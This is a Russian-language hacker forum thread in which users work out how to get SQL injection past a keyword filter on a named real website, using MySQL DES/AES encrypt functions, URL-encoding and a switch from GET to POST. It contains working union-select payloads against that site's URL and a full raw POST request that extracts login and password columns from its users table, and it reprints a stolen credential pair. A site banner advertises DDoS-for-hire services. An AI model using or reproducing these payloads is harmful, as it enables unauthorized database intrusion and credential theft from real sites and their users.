Перейти к содержимому

 Друзья: Всё для вебмастера | [ Реклама на форуме ]


Rutor
Rutor


[ DDos Услуги. DDos атака. Заказать ДДос ]


бд MySql


  • Авторизуйтесь для ответа в теме
Сообщений в теме: 19

#1
AFoST

AFoST

    тапочег с вишней

  • Moderator
  • PipPip
  • 256 сообщений
Такая ситуация. При сукл-ниъекции существует фильтрация запроса не пойму по какому принципу. Предполагаю, что идёт проверка на слова типа union mysql.user и тд. Можно ли обойти эту фильтрацию через функции mysql?
ENCODE(str,pass_str)
DECODE(crypt_str,pass_str)

AES_ENCRYPT(string,key_string)
AES_DECRYPT(string,key_string)

DES_ENCRYPT(string_to_encrypt [, (key_number | key_string) ] )
DES_DECRYPT(string_to_decrypt [, key_string])
Зашифровать слово "union", а потом его расшифровать? Будет ли оно восприниматься бд как зарезервированное слово? Или будет восприниматься как тупая последовательность символов?

#2
AFoST

AFoST

    тапочег с вишней

  • Moderator
  • PipPip
  • 256 сообщений
Проверил =)
DES_DECRYPT('яНИщУ3mГрmzTбєw*','1') выполняется сервером, как user(). Но там другая фильтрация :) чОрТ!!!

#3
Jinn

Jinn

    Байт

  • Members
  • Pip
  • 77 сообщений
попробовал,не получилось делал через encode/decode и пробовал через char()

AFoST а тебе что надо было union что б воспринималось как зарезервированое слово или название таблицы???

--[ ZaeB.uS, ]]>http://zaeb.us]]> ]---
ICQ: 304227033
Jabber: jinn@jabber.prologic.ws
OCC: 82623

#4
AFoST

AFoST

    тапочег с вишней

  • Moderator
  • PipPip
  • 256 сообщений
Как зарезервированное слово. То, что мне нужно получилось с
-1+union+select+DES_DECRYPT('яНИщУ3mГрmzTбєw*','1')
тоже что и
-1+unuion+select+user()
Вот теперь ищу где закриптовать DESом строку "+1+from+mysql.user+".
А на серве какая-то фильтрация странная...похоже он просматривает все гет запросы на наличие запрешённых слов...

#5
Jinn

Jinn

    Байт

  • Members
  • Pip
  • 77 сообщений
чет помойму маловероятно,что такой запросы выполниться,т.к я поэкспериментировал с использованием закриптованых зарезезвированых слов(union,select) mysql ругается...

--[ ZaeB.uS, ]]>http://zaeb.us]]> ]---
ICQ: 304227033
Jabber: jinn@jabber.prologic.ws
OCC: 82623

#6
AFoST

AFoST

    тапочег с вишней

  • Moderator
  • PipPip
  • 256 сообщений
-1+union+select+DES_DECRYPT('яНИщУ3mГрmzTбєw*','1')
попробуй =)

в моём случае фильтруется 'from' =\ где есть онлайн-утилита криптования функцией DES_ENCRYPT() ?

#7
Jinn

Jinn

    Байт

  • Members
  • Pip
  • 77 сообщений
AFoST я говрил про зарезервированные ф-ции

Jinn сказал:

закриптованых зарезезвированых слов(union,select)
Тебе то нужно чтоб мускул обработал именно ф-ции(закриптованые).

Цитата

где есть онлайн-утилита криптования функцией DES_ENCRYPT()?
des_decrypt('я_y;L{ф°Y;sUЎD3|Мj]', 'pwd')
соответствует
+1+from+mysql.user+
Но то что у тебя получится не уверен )

--[ ZaeB.uS, ]]>http://zaeb.us]]> ]---
ICQ: 304227033
Jabber: jinn@jabber.prologic.ws
OCC: 82623

#8
AFoST

AFoST

    тапочег с вишней

  • Moderator
  • PipPip
  • 256 сообщений
Да...вывелось как текст =( Так...буду капать, елси чего придумаю-отпишусь :)

#9
Jinn

Jinn

    Байт

  • Members
  • Pip
  • 77 сообщений
ээ да тут я думаю тебе надо будет углубиться в скуль,а именно в,то как происходит разбор запроса=)ну прикольно будет если такой запрос можно будет сделать(правда не верю в это).Но вообще может тебе заюзать посимвольный перебор?
вообще запросы без from норм исполняются?

--[ ZaeB.uS, ]]>http://zaeb.us]]> ]---
ICQ: 304227033
Jabber: jinn@jabber.prologic.ws
OCC: 82623

#10
AFoST

AFoST

    тапочег с вишней

  • Moderator
  • PipPip
  • 256 сообщений
Мозг взорвись!!!
-1+union+select+des_encrypt(database(),'3')+/*
выводится строка "яcЌцI{Пw)яVeЖ…", потом дешифруем и на экран выводится название дб!
-1+union+select+des_decrypt('яcЌцI{Пw)яVeЖ…','3')+/*

Так же
-1+union+select+aes_encrypt(version(),'123')+/*
получается строка "·щ»:ШЫпnVЪ{", дешифруем, получаем версию дб(4.1.20-lk-log)
-1+union+select+aes_decrypt('·щ»:ШЫпnVЪ{','123')+/*

Делаю на локальном сервере денвер, шифрованные строки получаются другие! Но всё так же работает. Строки получаются разные потому что разные версии дб(на денвере и на хосте)?



Эти запросы обрабатываются как надо(!!!!), проблема лишь в том, чтобы не потерять пару символов...



Вырезка из денвера:
mysql> select aes_encrypt(version(),'12');
+-----------------------------+
| aes_encrypt(version(),'12') |
+-----------------------------+
| └/Ь0⌂Ва{ў_wВ╢ьДО			|
+-----------------------------+
1 row in set (0.00 sec)

mysql> select aes_decrypt('└/Ь0⌂Ва{ў_wВ╢ьДО','12');
+--------------------------------------+
| aes_decrypt('└/Ь0⌂Ва{ў_wВ╢ьДО','12') |
+--------------------------------------+
| 4.1.16-max						   |
+--------------------------------------+
1 row in set (0.00 sec)

mysql> select ENCODE(user(),'2');
+--------------------+
| ENCODE(user(),'2') |
+--------------------+
| рL♂3М▬Яч╣,↓Gєs	 |
+--------------------+
1 row in set (0.00 sec)

mysql> select decode('рL♂3М▬Яч╣,↓Gєs','2');
+------------------------------+
| decode('рL♂3М▬Яч╣,↓Gєs','2') |
+------------------------------+
| ODBC@localhost			   |
+------------------------------+
1 row in set (0.00 sec)

mysql>


#11
Jinn

Jinn

    Байт

  • Members
  • Pip
  • 77 сообщений
AFoST как разница то? шифруй на удаленном серве,как и делаешь :-)хм а вообще стукни мне в ась если не сложно интересно стало:304227033

--[ ZaeB.uS, ]]>http://zaeb.us]]> ]---
ICQ: 304227033
Jabber: jinn@jabber.prologic.ws
OCC: 82623

#12
AFoST

AFoST

    тапочег с вишней

  • Moderator
  • PipPip
  • 256 сообщений
Я же говорю, на том серве экранируется "from"...я бы с удовольствием )

#13
ENFIX

ENFIX

    `N370KR47`

  • Members
  • PipPip
  • 152 сообщений
Зачем десять раз копировать шифрованную\дешифрованную строку?
aes_decrypt(aes_encrypt(user(),1),1)

#14
AFoST

AFoST

    тапочег с вишней

  • Moderator
  • PipPip
  • 256 сообщений
ENFIX, пытаюсь обойти фильтрацию, поэтому так и делаю. На хосте идёт фильтрация GET запросов. Одним из запрешённых слов является 'FROM'.

#15
ENFIX

ENFIX

    `N370KR47`

  • Members
  • PipPip
  • 152 сообщений
попробуй в URL кодировании...

#16
AFoST

AFoST

    тапочег с вишней

  • Moderator
  • PipPip
  • 256 сообщений
Не, %66%72%6F%6D тоже фильтрует сцуко!

#17
AFoST

AFoST

    тапочег с вишней

  • Moderator
  • PipPip
  • 256 сообщений
Уже просто спортивный интерес...Как это можно обойти? Вот ссылочко:
www.internatura.ru/index.php?op=cat&sec=4&gn=-1+union+select+user()+/*

#18
AFoST

AFoST

    тапочег с вишней

  • Moderator
  • PipPip
  • 256 сообщений
Проблема решена на ачате! Вот что получилось, если кому интересно...Оказывается фильтрация идет, во-первых, только при GET-запросе, во-вторых, фильтруется последовательность слов union select from (именно такая последовательность). Соответственно, заменяем метод отправки на POST и проводим скул!
http://www.internatura.ru/index.php?op=cat&sec=4&gn=-1+union+select+concat_ws
(':',login,password)+from+users/*
viktor:1940


#19
Jinn

Jinn

    Байт

  • Members
  • Pip
  • 77 сообщений
AFoST Как ты дал ссылку(гетом)

Цитата

Ваш запрос отвергнут по причине его возможной небезопасности.
с помощью POST не пробовал

--[ ZaeB.uS, ]]>http://zaeb.us]]> ]---
ICQ: 304227033
Jabber: jinn@jabber.prologic.ws
OCC: 82623

#20
AFoST

AFoST

    тапочег с вишней

  • Moderator
  • PipPip
  • 256 сообщений

Просмотр сообщенияJinn (23.12.2007, 11:32) писал:

AFoST Как ты дал ссылку(гетом)
Не понял...
Ну POST такой получается и он реально работает :)
POST /index.php HTTP/1.0
Accept-Language: ru
Content-Type: application/x-www-form-urlencoded
Host: internatura.ru
Content-Length: 104

op=cat&sec=4&gn=-1+union+select+concat_ws(':',login,password)+from+users/*



Количество пользователей, читающих эту тему: 0

0 пользователей, 0 гостей, 0 анонимных